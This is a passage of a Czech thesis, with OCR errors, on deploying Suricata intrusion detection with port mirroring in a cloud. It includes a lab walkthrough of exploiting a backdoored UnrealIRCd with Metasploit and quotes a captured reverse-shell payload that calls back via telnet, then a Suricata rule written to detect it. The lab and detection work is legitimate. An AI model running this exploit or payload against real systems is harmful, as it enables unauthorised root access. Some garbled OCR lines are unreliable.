11. vytvoreni specialni role — v ramci bakalarské prace jsem vytvoril skript
AddSuricataUser.sh pro vytvoreni nového uzivatele a role Suricata
4.2.1 Program na spravu softwaru Suricata

Jak jsem zminil v nadvrhové ¢asti prace, tak na jednotlivych monitorovacich
virtudlnich strojich pobézi program, ktery se bude starat o posilani logi,
zajisténi aktudlnosti softwaru Suricata, zajisténi aktualizaci pravidel a spousténi
softwaru Suricata pri startu systému.
Jako zaklad jsem vzal svij program z mé bakalarské prace, tento program
umél pouze odesilat logy. Vsechny ostatni funkcionality jsem musel ptidat.
Program pracuje nasledujicim zptisobem:

1. Nacte data ze Suricata Vyméniku — zkontroluje IP adresy, MAC adresy
pro sifové rozhrani

2. Pripravi konfigura¢ni soubor

Piid4 nové konfigura¢ni soubory pro ostatni sitova rozhrani

Vytvoti soubory s pravidly

Updatuje verzi softwaru Suricata na systému

Spusti software Suricata

Aktualizuje verzi softwaru Suricata na endopointu v1/suricatacontrol

Periodicky odesila logy na Suricata Vyménik

© X N ;v W

Hlasi, pokud software Suricata vypadl
10. Periodicky kontroluje pravidla a aktualizuje je
11. Periodicky updatuje verzi softwaru Suricata na systému

Program ma konfigura¢ni soubor Suricatalogger.config, kde se daji
nastavit periody jednotlivych tkontu, cesta k event logiim, adresa vyméniku a
ID virtualniho stroje.

Pro sifovou komunikaci jsem vyuzil knihovnu curl a pro zpracovavani
JSON textu jsem vyuzil externi kéd nlohmann/json. Zde je jeho dokumentace
a zdrojovy kéd https://github.com/nlohmann/json/.
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Program miize bézet v release nebo v debug moédu. Pokud bézi v debug
modu, tak se nikam nepripojuje a bézi pouze lokalné. V tom pripadé potiebuje
soubor SuricataController.txt, ktery dokdze imitovat data, ktera by prisla
pri inicializaci. Program ale zaroven data potfebuje nékam posilat a generovat.
V tomto rezimu vytvoii soubory SuricataAliveLog.txt, do kterého se pisou
zZpravy o zivotnosti, poté soubor Suricatalogs.txt, do kterého se pisou data
z eve.json, a na konec soubor SuricataControlUpdate.txt, do kterého se
pisou zpravy o aktualizaci softwaru Suricata. Jesté ale v tomto rezimu program
produkuje debug vypisy, které se piSou do Suricatalogger.logs.

Aby se dosahlo bezpecnosti pti spusténi, tak je vhodné vyuzit pripravenou
roli Suricata, kterd slouzila pro spusténi softwaru Suricata, ale tuto ¢innost
nyni provadi tento program.

Zdrojové kédy programu jsou prilozené na CD, pro sestaveni obsahuje
makefile, ktery momentalné zkompiluje program v debugovacim rezimu.

Program byl vyvijen na opera¢nim systému Windows, a proto zdrojové
soubory obsahuji i podminény preklad, ktery je uréen tim, kde se program
kompiluje.

4.3 Port Mirroring

Nedilnou soucésti systému je Port Mirroring. Skript pro vytvofeni mirroru
Infikovanyl.sh je pfilozen na CD, kterého ja nejsem jeho autorem, byl mi
vytvoren a za to dékuji technikiim z firmy SIC. Ale vzhledem k jeho dilezitosti
a k tomu, ze j4 ho musim pro svou praci pouzivat, tak zde popisu, jak fun-
guje. V ukdazce byly vynechdny komentaie a nékteré vystupni vypisy byly
pozménéné, aby nezabiraly tolik mista.

Struktura skriptu:

1. Konfigurace — nutné rucné upravit na pozadované hodnoty

output_interface="tapl10.0"
src_interfaces=("tap4.1")
mirror_name="suricataMirrorl"

e output_interface — vystupni interface, tap10.0 jméno souboru z pra-
covniho adresaire Big Cloudu, spravnd hodnota se ziska tak, ze je
tfeba v jednotlivych souborech porovnat hodnotu mac s MAC adre-
sou interface

o src_interface — interface zdroje, které se bude monitorovat, jedna se
o pole tap names, které se ziskava stejné jako v predchozim pripadé,
je mozné monitorovat vice interface

e mirror_name — pojmenovani mirroru
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2. Ziskani uuid z tap name — pozdéjsi prikazy vyzaduji uuid, proto je nutné
pro jednotlivd tap name zjistit jeho uuid, pro tento tucel slouzi ptikaz
ovs-vsctl get port tapl0.0 _uuid

e Zpracovani vystupniho interface

src_interfaces_uuids=()
output_interface_uuid=$(ovs-vsctl get port
$output_interface _uuid 2>/dev/null)

if [ $? -ne 0 ];then

echo "Chyba vystupniho portu"

exit 1

fi

e Zpracovani vstupnich interface

for interface in ${src_interfaces[@]};do
#src_interfaces_uuids+=( $(ovs-vsctl get port
$interface _uuid) )

src_uuid=$(ovs-vsctl get port $interface _uuid
2>/dev/null)

if [ $7? -ne 0 ];then

echo "Port $interface neexistuje, pfeskakuji."
continue

fi

src_interfaces_uuids+=($src_uuid)

done

e Zarovnani vstupnich interface z pole do fetézce oddéleného carkami

src_interfaces_str=$(IFS=',';echo
"[${src_interfaces_uuids[*]}]")

3. Nastaveni vystupniho portu

ovs-vsctl set mirror $mirror_name
output-port=$output_interface_uuid

4. Nastaveni vstupnich portu
ovs-vsctl set Mirror $mirror_name
select_src_port=$src_interfaces_str
select_dst_port=$src_interfaces_str

5. Na zavér je zde jesté vypis vytvoreného mirroru

ovs-vsctl list mirror $mirror_name
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4.4 Testovaci prostredi

Dalsi ¢asti mé prace je vytvoreni testovaciho prostfedi a s tim i vytvoreni
sablon operac¢nich systému s néjakou mnou zvolenou zranitelnosti.

4.4.1 Priprava infikovanych virtualnich stroja

Zranitelnosti jsem vybral pomoci opera¢niho systému Kali Linux, kde se nachazi
databdze znamych zranitelnosti programi a operacnich systému, a pak po-
moci databaze exploit-db.com odkud jsem i stahoval jednotlivé zranitelné
aplikace. U jednotlivych zranitelnosti uvedu i jejich ¢isla exploitu v exploit-
db, které, kdyz se doplni do url exploit-db.com/exploits/, tak se da do-
stat pfimo na manudl exploitu. U vétsiny exploitii byly problémy s instalaci
pripadné kompilaci softwaru, uvadim i jak tyto problémy opravit.

Vytvoril jsem virtudlni stroje s nasledujicimi zranitelnymi aplikacemi, uvedu
vzdy jméno vytvoreného stroje a zranitelnou aplikaci:

e Operacni systém Linux:

— Infikovany01
Samba 2.2.2 — v exploit-db m4 ¢islo 16321, ndvod k instalaci se nachazi
v docs/htmldocs/UNIX_INSTALL.html. Je tfeba ale jesté opravit kom-
pilaci, nejprve jsem upravil funkci dbghdr tak, Ze jsem u argumentu
funkce misto char* dal char const®, abych zabranil warningtim, funkce
se nachézi v include/proto.h a lib/debug.c. Je tam ale i nékolik errort.
Je nutné odebrat nebo prejmen—ovat funkci, v souboru
nsswitch/winbindd_pam.c funkci parse_domain_user. Potom tro-
trust_keystr, tato funkce je definovana jesté
vnsswitch/winbindd_misc.c, pro opravu jsem se rozhodl prejmenovat
tu, kterd je v secrets.c. Nyni kompilace projde, ale stile zde je
spousta varovani, kterd jsem jiz neopravoval.

— Infikovany02
LPRng — v exploit-db mé ¢islo 16842, po stazeni aplikace bylo nutné
jesté modifikovat nékolik souboru, aby bylo mozné jej zkompilovat a
spustit. Musel jsem odstranit definice
inet_ntop, poté vsechny externi proménné errno, pri spousténi prikazu
make, bylo nutné jesté pridat prava pro spusténi u vypsanych skripta,
déle pak byl v makefile problém se zalamovanim radkt pomoci znaku
\, musel jsem zalomeni odstranit a dat prikazy na jeden radek. K ruce
na pomoc jsem vyuzil prilozeny manual.

— Infikovany03
UnreallRCd — v exploit-db mé ¢islo 16922, pred instalaci jsem jesté
stahnul podle prilozeného dokumentu
INSTALL.REMOTEINC soubory c-ares-1.15.0 a curl-7.68.0,
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v tomto dokumentu jsou i odkazy odkud se daji stdhnout a spustil
prilozeny command ./curlinstall. Instaluje se pomoci ./Config,
coz je interaktivni néstroj a provede celou instalaci. Pred spusténim
prikazu make je jesté nutné pridat knihovnu -1curl. Potom, co dobéhne
make, tak je tfeba zkopirovat doc/example.conf do hlavni slozky
UnrealIRCd a pojmenovat jako unrealircd.conf, dile jsme v tomto
souboru zakomentoval blok tld, kde je motd a rules, upravil
kline-address na néjakou adresu, odkomentovat

loadmodule "src/modules/commands.so"; a

loadmodule "src/modules/cloak.so";, upravit cloak-keys misto
"and another one" dat néjaky ndhodny kli¢, musi obsahovat malé,
velké pismeno a ¢islici. Spousti se pomoci ./unreal start.

— Infikovany04
NTPsec — v exploit-db ma ¢islo 46177 a je oznacen na rozdil od
prechozich jako DoS, instalace je presné a detailné popsand v README.
Spustitelny soubor ntpd se nachazi
v build/main/ntpd/.

e Operacni systém Windows — Infikovany05

— ProSysInfo TFTP server TFTPDWIN — v exploit-db ¢islo 16346
— FTPShell Client — v exploit-db ¢islo 16790
— PSOProxy 0.91 — DoS — v exploit-db ¢islo 44968

Pro operacni systém Windows jsem umistil vSechny 3 exploity na jeden
pocitac¢ Infikovany05, instalace byla primocara, stacilo spustit instalacni sou-
bor a zapnout sluzbu. Pokud jsem neuvedl jinak v nékterém z bodt u konkrétniho
utoku, tak se jednd o ttoky na neopravnéné zvyseni prav uzivatele. [47]

4.4.2 Bezpecnost testovaciho prostredi

Bohuzel vzhledem k velkému vytizeni administratora sité neni mozné imple-
mentovat navrzené schéma a musim se obejit bez firewallu, ktery by ridil
pristup na infikované stroje pres VPN. Testovaci prostredi bude vypadat tro-
chu jinak. Veskerda komunikace bude probihat pouze po vefejné siti, infikované
stroje i monitorovaci stroj budou mit pouze vetejné sifové rozhrani. Tim se
bohuzel zvysi riziko napadeni stroji. Abych ale i tak zachoval alespon urcitou
miru zabezpeceni, tak zajistim, ze infikované stroje budou zapnuté pouze po
dobu testovani, vytvorim jejich snapshoty, aby v pfipadé napadeni se mohly
jednoduse preinstalovat a snizim jejich download a upload speed, aby se z in-
fikovanych stroji nedalo efektivné skodit.

Jesté ale mohu zvysit zabezpeceni monitorovaciho stroje. Monitorovaci
stroj ma 4 sifovéa rozhrani, na kterych je port mirroring, tato siftova zafizeni
nijak neodpovidaji na vnéjsi podnéty, pokud na né pustim ping, tak nijak ne-

o8



4.5. Integrace softwaru Suricata do systému

reaguji. Je zde ale jesté 5. sitové rozhrani, které slouzi k pripojeni a ke komu-
nikaci s monitorovacim za¥{zenim, napiiklad pro administratora. Toto sifové
zalizeni je potencidlnim mistem pro utok. Pro zabezpeceni tohoto jsem vy-
tvoril novy virtudlni stroj, ktery bude fungovat na principu firewallu. Bude
mit jedno vefejné sitové rozhrani a jedno privatni sitové rozhrani. Sitové roz-
hrani na monitorovacim zarizeni, které slouzi ke komunikaci, bude privatni a
bude ve stejné privatni siti jako to z firewallu. Pokud tedy administrator bude
chtit se pripojit na monitorovaci stroj, tak se nejprve prihlasi na tento firewall
a poté se pomoci kli¢e prihlasi na monitorovaci stroj.

Schéma zapojeni nakonec bude vypadat podle obrazku Na obrazku
nejsou kvili bezpecénosti uvedeny konkrétni IP adresy pocitact, ale bude
potfeba IP adresy vidét kvili analyze zdznamu, a je zde i znazornén tok
dat. Cervené je vyznacena komunikace od ttocnika k jednomu z infikovanych
stroju a zelené je vyznacena komunikace od infikovaného stroje k tto¢nikovi.
Na obrazku je vidét, ze packety od utocnika i od infikovaného stroje se pres
port mirroring posilaji i monitorovacimu stroji.

4.5 Integrace softwaru Suricata do systému

Bohuzel v poslednich mésicich méla firma jiné priority nez nasazeni softwaru
Suricata, a proto se oddélila implementace vyméniku a endpointu Suricata-
Controller. Obé ¢asti by mély byt implementované az koncem cervna. Déle se
i zdrzela implementace GUI, ale ta bude hotova do konce kvétna, momentilné
je v developerské vétvi a brzy bude pripravena na pridani do testovaci verze.

Momentélni stav nasazeni port mirroringu vypadé tak, ze je nutné ho ru¢né
spoustét pomoci skriptu, ktery se musi ru¢né nastavovat. Na automatizaci se
pracuje, ale to bohuzel neni v mé rezii a nemohu s tim nic délat.

Stav monitorovaciho stroje vypada tak, Ze je na ném umistén mnou vy-
tvofeny skript na nastaveni sifovych rozhrani, protoze pokud m4 virtudlni
stroj vice nez jedno sifové rozhrani, tak je nutné provést ruéni konfiguraci.
Konfiguraéni skript je i ulozen na pfidaném CD s nazvem SetupNetwork.sh.

Na monitorovacim stroji je i nainstalovany software Suricata s jiz upra-
venym konfigura¢nim souborem pro podporu monitorovani vice sitovych roz-
hrani a jsou zde i vytvofeny konfiguraéni soubory pro jednotlivd sitové roz-
hrani. Déle jsem i vytvofil pro kazdé sitové rozhrani jednoduché pravidlo na
ping, aby bylo mozné otestovat spravnou funkcionalitu, o testovani ale budu
psat vice v dalsi kapitole.

7 mé strany byl ndvrh vytvoreny vcas a véci, které jsem mohl implemento-
vat, jsem udélal. Nyni je na strané firmy, aby implementovala mnou navrzené
komponenty. Mij program na spravu softwaru Suricata vyzaduje nékteré kom-
ponenty, které implementuje firma, a jesté nejsou hotové. V tom pripadé miij
program funguje v debug rezimu, kde se nekomunikuje s API, ale vyuzivéi
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Obrazek 4.2: Implementované schéma zapojeni testovaciho prostiedi

mnou vytvorend data, aby bylo mozné otestovat jeho funkénost. Data jsou
umisténa v textovém souboru SuricataController.txt.



KAPITOLA 5

Testovani

V této ¢asti se budu zabyvat testovanim navrhu z predchozi kapitoly. Nejprve
ukazi, jakym zpusobem se bude testovat funkcénost a poté ukazi vysledky
testovani. Je dulezité navrhnout, jakym zpusobem se systém bude testovat,
aby se otestovaly nejprve komponenty jednotlivé a ovérit jejich funkénost a
poté testovat celek.

5.1 Testovani API

Je nutné vytvorit zdkladni testy a vyzkouSet funkénost jednotlivych end-
pointt, které byly navrzeny v predchozi kapitole. Musim otestovat funkénost
uklddani dat a jednotlivé operace. Pro pripomenuti jedna se o endpointy:

e SuricataController
e SuricataRules

o VMS

e SuricataControl

e Registracni endpoint

Testovani probihalo tak, ze mi bylo vytvoreno VPN pripojeni, diky kterému
jsem mél k endpointiim p¥istup pies privatni sit. Nyni na endpointu Suricata-
Rules ukazu, jakym zpusobem bylo testovano, uvedu jednotlivé prikazy i to,
co vratil server. Tim bude i prakticky vidét, jak vypada komunikace, jak se
endpoint pouziva a jak odpovida server.

e Vytvoreni zdznamu

— Vytvoreni validnich zaznamu

"Content-Type: application/json"

D{"rule" :"pravidlo","global":"GLOBAL",

"comment" : "komentar"}ﬂ 1o. 10@40 ) 1161\/suricataru1es '
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mévratov% bodnota:‘l
Navratovy kéd:| 200

@ "Content-Type: application/json"

[H"rule":"pravidloQ“,“global":"LOCAL",

"comment":"komentar2" }m 10 . 1OB4O .1 161’/suricataru1es !

Navratova hodnota:‘Q
Navratovy kéd:| 200

— Vytvoreni invalidniho zdznamu

@ "Content-Type: application/json"

[H"rule":"pravidloQ“,“global":"LOCALL","comment":"komentar2"}[
'http://[10.10[.]40. 116//v]1/suricatarules’|

mévratovﬂ bodnotaﬂ Foloik# "global" @usﬂ hiﬂ bodnotq "GLOBAL"
nebo| "LOCAL'|.|
Navratovy koéd:| 404

Zobrazeni zadznamu

— Zobrazeni jednoho zaznamu

curl| [-X GET| ['http://[10.10/.]40.116/v1/suricatarules/1|

mévratovi bodnota:

{"id":1,"rule":"pravidlo","comment": "komentar",
"changedate" :"2020-04-02T11:43:16.278735",
"global:"GLOBAL"}

kod:| 200

Zobrazeni jednoho invalidniho zdznamu

curl| [-X GET| ['http://[10.10/.]40. 116/v1/suricatarules// |
mévratovi bodnota:‘?ravidld’s”ii 4 beexistuje.
Navratovy koéd:| 404

mévratovy

Zobrazeni vsech zadznamu

curl |-X| [GET| ['http:///10.10].40.116//v]1//suricatarules’|
Névratovﬂ hodnotaﬂ
[{"id":1,"rule":"pravidlo","comment": "komentar",
"changedate":"2020-04-02T11:43:16.278735",
"global":"GLOBAL"},{"id":2,"rule":"pravidlo2",
"comment" :"komentar2","changedate":
"2020-04-02T11:47:10.677737","global" : "LOCAL"},
{"id":3,"rule": "pravidlo3","comment": "komentar3",
"changedate":"2020-04-02T11:53:43.876621",
"global":"LOCAL"}]
Navratovy kéd:| 200
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e Mazani zdznamu

— Mazani validniho zaznamu
curl| [-X| DELETE ['http://[10.10[.[40. 116//v]1[/suricatarules/3'|

‘NévratovéJ hodnota:‘
Navratovy kéd:| 200

— Magzani invalidniho zadznamu
‘curl‘ DELETE‘ "http://‘lO.lODéLO.llG1‘/suricatarules/‘4m
‘Névratova’# hodnota:‘ ‘Pravidlo‘ ‘s”ii 4 beexistuje.‘

kod:| 404

mévratovy

e Upraveni zdznamu

— Validni tprava
"Content-Type: application/json"
B{"rule" :"pravidlo2","global":"LOCAL",

"comment": "komentar2"}m

'http:///10.10[.]40. 116//v]1[/suricatarules/|1[']

‘Névratovi hodnota:‘
Navratovy kéd:| 200

— Invalidni tprava
"Content-Type: application/json"
D{"rule" :"pravidlo2","global":"LOCAL",

"comment": "komentarQ”}B

'http://[10.10.140. 116]/v1//suricatarules/]2]

‘Névratovﬂ hodnota:‘ ‘Pravidlo‘ ‘s”id‘ 2 ﬁneexistuje.‘
kod:| 404

Wévratovy

5.2 Testovani instalace softwaru Suricata

Dalsim zakladnim testem je test samotné instalace softwaru Suricata. Pro zakladni
otestovani softwaru Suricata jsem nasel na internetu exploit, ktery je znamy
jako EternalBlue.

EternalBlue je exploit vyvinuty U.S. National Security Agency (NSA),
ktery se zaméfuje na chybu v protokolu Server Message Block. Zndmym
vyuzitim této chyby je WannaCry ransomware, ktery utocil na neaktualizo-
vané pocitace. [48]

Stahl jsem si pcap komunikaci odtud:
https://pcap.honeynet.org.my/vl/submission/view.php?id=1691 a tento
pcap soubor jsem pustil na Suricatu néasledujicim piikazem:
suricata -c /etc/suricata/suricata.yaml -r ~/eternalblue.pcap.
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Po spusténi jsem dostal nasledujici vypis v logu fast.log, zbytek vystupu
bude v priloze:

04/14/2017-13:30:38.261434 [*x] [1:2024218:2] ET EXPLOIT Possible
ETERNALBLUE MS17-010 Echo Response [**] [Classification: A Network
Trojan was detected] [Priority: 1] {TCP}
10.128.0.243:445 -> 172.16.156.130:50927

Uvadim pouze ¢ast, cely vystup je k vidéni v priloze v ¢asti o testovani
softwaru Suricata.

Na zakladé tohoto vysledku mohu rici, ze software byl spravné nainsta-
lovan. Protoze presné tento seznam varovani se nachdzi na strance, ze které
jsem stéhl pcap komunikaci. [49]

Déle jsem otestoval Multi Tenancy funkcionalitu. Vytvoril jsem si dvé
sitova rozhrani a pripravil jsem si konfigura¢éni soubory tak, jak jsem uvedl
diive. Pro jedno sifové rozhrani jsem si udélal jednoduché pravidlo
alert icmp any any -> any any (msg:"PING detected";), které jakykoli
ping zapise jako alert. Software Suricata ale defaultné nékteré packety tireba
pravé ICMP preskakuje, pokud jich stejny zdroj posila opakované nékolik
za sebou. Proto jsem si jesté v konfigura¢nim souboru upravil hodnoty, které
udavaji, po jaké dobé se zase opét budou zpracovivat stejné packety od
stejného zdroje. Déla se to v suricata.yaml ve struktuie flow-timeouts
a tam je napiiklad icmp protokol, u kterého jsem dal vSsechny hodnoty na 0,
aby se tedy zpracovavalo vse. Poté co jsem si vSechno pripravil a nastartoval
software Suricata, tak jsem zkusil ping na obé sitova rozhrani a jen u toho,
které mélo toto pravidlo, se objevovaly udalosti v logu.

Nyni jsem se vrhnul na reloadovani pravidel. Vyuzil jsem konfigura¢ni sou-
bory z predchoziho testovani a jen jsem upravoval pravidla, jak globalni, tak i
pro jednotlivd sifové rozhrani. Pokud jsme zménil pravidlo jen u globélni sady
pravidel, tak stacilo pouzit pouze suricatasc -c 'reload-rules'. Pro re-
loadnuti pravidla daného interface je tfeba pouzit jiny piikaz a to
suricatasc -c 'reload-tenant id configFile.yaml', kde id je Cislo
tenant-id z suricata.yaml a configFile.yaml je zase nazev konfigura¢niho
souboru, ktery jsem priradil danému interface v suricata.yaml. To se postara
jak o reload konfigura¢niho souboru, tak i o nacteni pravidel.

5.3 Testovani programu na spravu softwaru
Suricata

Testovani programu na spravu softwaru Suricata probihalo v nékolika fazich.
Nejprve jsem testoval samostatné jednotlivé funkce. V kédu jsem zanechal tes-
tovaci prostredi, které se zapind pri kompilaci pomoci prepinace -D _DEBUG.
V tomto prostiedi, jak jsem jiz zminil v implementacni ¢asti, program ne-
komunikuje s vyménikem, ale pouziva pro inicializaci predpfripravenad data.
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Zaroven se ani neodesilaji nikam logy, ale pouze se zapisuji do jiného souboru,
abych byl schopen otestovat spravnou funkci odesilani a mazani starych logt.
V tomto rezimu byl program hlavné zkousen a nasazen.

Tetoval jsem i ¢teni a zdpis do endpointu pomoci CURL a to tak, ze mi
bylo pridéleno VPN pripojeni, abych se mohl dostat do privatni sité, a mohl
tedy na endpointy vidét.

Program jsem spoustél pomoci setsid, aby se spustil jako daemon, a aby
se tedy nevypnul, pokud vypnu terminal.

5.4 Testovani port mirroringu a odchytavani
komunikace

Pro testovani port mirroringu jsem mél pripravené testovaci prostredi tak,
jak jsem uvedl v implementacni ¢asti. Schéma tohoto prostredi je vyobrazeno
zde Vyuzil jsem pravidla a nastaveni z predchozi ¢ésti, tedy mél jsem
opét pravidlo na icmp packet a software Suricata zpracovaval kazdy packet.
Zaznam komunikace, ktery zachytl software Suricata vypada nasledovné.

{"timestamp":"2020-04-22T15:21:31.673673-0400","flow_id":
285531996637065,"in_iface":"ens23","event_type":"alert","src_ip":
"1.1.1.1","dest_ip":"192.168.0.4","proto":"ICMP","icmp_type":8,
"icmp_code":0,"alert":{"action":"allowed","gid":1,"signature_id":0,
"rev":0,"signature":"PING detected 3","category":"","severity":3,
"tenant_id":4},"flow":{"pkts_toserver":1,"pkts_toclient":0,
"bytes_toserver":98,"bytes_toclient":0,
"start":"2020-04-22T15:21:31.673673-0400"}}

Tato zprava je z eve.json a nyni vyberu atributy, které jsou pro test
dilezité.
e timestamp — 2020-04-22T15:21:31.673673-0400 — cas zachyceni zpravy

e in_iface — ens23 — jméno sitového rozhrani monitorovaciho zatizeni

e event_type — alert — v pravidle jsem uvedl, ze icmp packety, se maji
vyhodnotit jako alert

e srcip — 1.1.1.1 — jak je vidét ze schématu zapojeni, tak toto je IP ad-
resa stroje, ktery posilal ping, muzeme si predstavit, Ze to je IP adresa
utocnika

e dest_ip — 192.168.0.4 — opét je vidét ze schématu zapojeni, Ze se jedna
o IP adresu monitorovaného stroje

e proto — ICMP — i pomoci atributdi icmp_type a icmp_code je vidét, ze
to byl Echo Request, coz bylo pres prikaz ping
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o signature — PING detected 3 — i podle této zpravy si mohu ovérit, ze to
bylo opravdu mé pravidlo, protoze takové zprava se jinde nevyskytuje

e tenant_id — 4 —id tenantu, které jsem nastavil v suricata.yaml pro dané
sifové rozhrani

Jak je vidét, tak se neztratila informace o tom, odkud kam se ptivodné
packet odeslal, vime piesné, které sifové rozhrani zpracovalo tento packet
a pro debugovaci tucely dokazeme diky atributu tenant_id zjistit, jak je mo-
nitoring sitového rozhran{ nastaveno.

5.5 Testovani infikovanych stroju

Na zaveér jsem pristoupil k testovani infikovanych stroji. Nazorné ukazu na tretim
infikovaném stroji, jak je mozné ho napadnout a zneuzit jeho slabinu. Pro
pripomenuti jesté uvadim, ze na tomto stroji je nainstalovana zranitelna verze
softwaru UnrealIRC.

Pro hacknuti infikovaného stroje jsem vyuzil operacni systém Kali Linux,
nyni popisu jednotlivé kroky, které itoénik muze ucinit, aby zranitelnost nasel
a zneuzil. Pro jednoduchost budu znat IP adresu stroje, na ktery ttocim.

1. skenovani porti — nejprve potrebuju zjistit, jaké jsou oteviené porty
na cilovém virtudlnim stroji, k tomu slouzi program nmap, piikaz zadam
nasledovné nmap -A 192.168.0.2, parametr -A mi d4 podrobné infor-
mace, vystup je ukézan zde

2. analyza vystupu — z vygenerovaného vystupu je vidét, ze je na cilovém
stroji nainstalovany software UnreallRCd verze 3.2.8.1., mohu se podivat
napr. do exploit-db a zjistim, ze presné tato verze je zranitelnd a obsahuje
ji databaze metasploitu

3. spusténi metasploit-framework — jelikoz zkousim utok pres Kali Linux,
tak zde je metasploit nainstalovan, neni problém stahnout a nainstalovat
odjinud, aplikace se pousti piikazem msfconsole

4. po spusténi si mohu ovérit, Ze ma verze metasploitu obsahuje i exploit
pro UnreallRCd piikazem search unrealircd, vysledek hledani je zde
B2

5. vyberu nalezeny exploit —
use exploit/unix/irc/unreal_ircd_3281_backdoor

6. nastaveni exploitu — nyni je potfeba exploit nastavit, abych zjistil, co vse
je potieba, tak pouziju prikaz info, kde vidim, Ze je potieba nastavit
RHOSTS a dalsim parametrem je RPORT, ktery je jiz nastaven na 6667 a

je to totozny port, jako nalezl nmap pro tuto sluzbu, takze ho mohu
ponechat beze zmény

7. nastaveni RHOSTS na cilovou IP adresu set RHOST 192.168.0.2
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8. spusténi exploitu — piikaz exploit nebo run a pokud bylo vSe nastaveno
spravné, tak se otevie shell, do kterého mohu psat piikazy, vysledek
je vidét zde pouzil jsem i prikaz whoami, abych ukazal, ze mam
opravnéni root

root@metasploit:~# nmap TS = -A
map 7.70 ( https://nmap.org ) at 2 85-11 15:08 CEST
for —
#8255 latenc
Mot shown: 8 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh Open 6

uptime: 5

source ident: nmap

source host: 2EBEC
ing Lin

3 cpe:/fo:1inux:linux_kernel:4
etwork Distance: 1 hop
ice Info: Host: unreal.example.com; 0S: Linux; CPE: cpe:/o:linux:linux_kernel

ADDRESS

vice detection performed. Please report any inc e r //nmap .o
(1 host up) scanned in 4.0
root@metasploit:~# _

Obrazek 5.1: Skenovani portu pomoci nmap

msf5 > search unrealircd

Matching Module:

# Name s s Date Rank

@ exploit/unix/irc/unreal_ircd 3281 backdoor 2010-86-12

Obrazek 5.2: Vyhledani UnreallRCd exploitu
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msf5 > use exploit/unix/irc/unreal_ircd_3281_backdoor

msf5 exploit( ) > set RHOST =
RHOST =>

msf5 exploit( ) > exploit

Started reverse TCP double handler on 14444
667 - Connected to :6667. ..
m NOTICE AUTH :*** Looking up your h ame. ..
m NOTICE AUTH :*** Couldn't 1v * hostname; using your IP address instead
SN 1 6667 - Sending backdoor command. ..
Accepted the first client connection...
Accepted the second client connection...
Command: echo kBqEYET3nPJESJjGp;
Writing to socket A
Writing to socket B
Reading from sockets...
Reading from socket A
A: "kBQEYET3nPJESjGp\r\n"
Matching...
B is input...
Command shell session 1 opened ( :4 -> :35 at 2020-05-11 15:31:47 +0200

Obrazek 5.3: Exploit UnreallRCd

Béhem testovani tohoto infikovaného stroje, jsem mél zapnuty port mirro-
ring a zkoumal jsem, zda software Suricata prijde na to, ze se pomoci zrani-
telnosti UnreallRCd dokéazi prevzit kontrolu nad virtudlnim strojem. Bohuzel
software Suricata neobsahuje pravidlo, které by toto podchytilo. Tak jsem
nevahal a jedno jsem si proto vyrobil. Nejprve jsem si pomoci Wiresharku
odchytil komunikaci, abych zjistil, co se posila za exploit.

Ve Wiresharku jsem vidél nasledujici:

Request: AB;sh -c '(sleep 3755|telnet 192.168.0.2 4444|while
; do sh && break; done 2>&1|telnet 192.168.0.2 4444 >/dev/null
2>41 &)

Zaroven jsem se podival jesté na exploit-db na tento konkrétni exploit
exploit-db.com/exploits/16922, kde jsem se dozvédél, ze se odesila toto
sock.put("AB;" + payload.encoded + "\n").

Na zakladé téchto informaci, jsem si vytvoril jednoduché pravidlo, které
odchytava presné tento packet.

alert tcp any any -> any [6665:6669] (msg:"UnrealIRCd EXPLOIT
DETECTED"; flow:to_server; content:"AB|3Blsh"; nocase;
sid: 2020051301;)

Zde se odchytava tcp packet, na porty 6665 az 6669, které obsahuji AB;sh,
3B je ¢islo stfedniku v ASCII tabulce.

Vzhledem k tomu, Ze si zddny student z predmétu BI-EHA nevybral téma
této prace, tak jsem se dohodl s vedoucim prace, ze nechdme infikované stroje
zapnuté pro potencidlni neznamé utocniky.
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KAPITOLA 6

Prace do budoucna

6.1 Databaze s novymi pravidly

Jak jsem jiz zminil dfive, tak u pravidel je nutné tesit i jejich sig, ktery musi
byt unikatni. Bylo by vhodné, aby unikéatnost sig fesilo jiz GUI a povérend
osoba, kterda vytvari nova pravidla, tak aby nemusela resit, jakym zptsobem
se bude cislovat.

Vzhledem ke strukture pravidel by bylo i vhodné rozebrat pravidlo na jed-
notlivé ¢asti, napr. typ akce, zdrojova IP adresy a porty, smér komunikace,
sig, zprava, priorita a dalsi. Tvirce pravidla by mél moznost si v kazdé ¢asti
vybrat hodnoty, které chce, aby se je nemusel pamatovat, aby mél prehled,
jaké atributy se daji kde pouzit, a hlavné aby v pravidle neudélal chybu kvuli
preklepu nebo zapomenutému stredniku.

Jak jsem jiz diive zminil, tak pokud se v pravidle vyskytuji uvozovky,
bézné jsou tfeba v atributu msg, tak aby GUI automaticky k tomu doplnovalo
znak \ kvuli JSON parseru.

Je nutné se ale postarat o to, aby se pravidlo, které se posle na monitorovaci
stroj spravné poskladalo, a aby tedy se monitorovaci stroj nemusel starat o
spravnou konstrukei a mohl povazovat pravidlo za tplné a spravné napsané.
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KAPITOLA

Zaver

Nez se presunu ke zhodnoceni préce, tak nejprve ukazu, ze jsem splnil vSechny
body zadani.
1. Analyzujte systémy pro monitorovani provozu na siti IDS a IPS.

e tento bod byl analyzovan v sekci 2.1 Systémy IDS a IPS
2. Analyzujte strukturu virtualiza¢nich néastroju a jejich funkci v systému.
« tento bod byl analyzovan v sekci 2.2 Virtualizacni nastroje

3. Navrhnéte moznosti integrace monitorovaci aplikace Suricata do clou-
dového systému.

e v navrhové ¢asti prace jsem navrhl jakym zptisobem se bude in-
tegrovat software Suricata do systému, navrhl jsem komunikac¢ni
rozhrani a ukézal, jak bude vypadat GUI pro administratora

4. Navrhnéte moznosti centralniho monitoringu a to jak sité, tak i virtudlnich
stroju.

e v navrhové ¢éasti jsem popsal a zhodnotil, jak bude vypadat mo-
nitoring sité i virtualnich strojui, vybral jsem moznost, ze bude
vytvoreno nékolik monitorovacich stroji, na kterych pobézi mnou
vytvoreni program pro spravu a na tyto stroje budou odchytavat
komunikaci pomoci port mirroringu

5. Implementujte navrzené systémy do cloudového systému BigCloud.

e v implementacni ¢asti prace jsem ukézal, jak byly mé navrhy im-
plementovany a jak se jesté nékteré véci budou na strané firmy
implementovat

6. Za ucelem penetracniho testovani vytvorte sadu sSablon s opera¢nimi
systémy Debian a Windows, které nebudou raddné zabezpeceny.
e v navrhové ¢asti prace jsem ukézal, jakym zptsobem jsem vytvarel
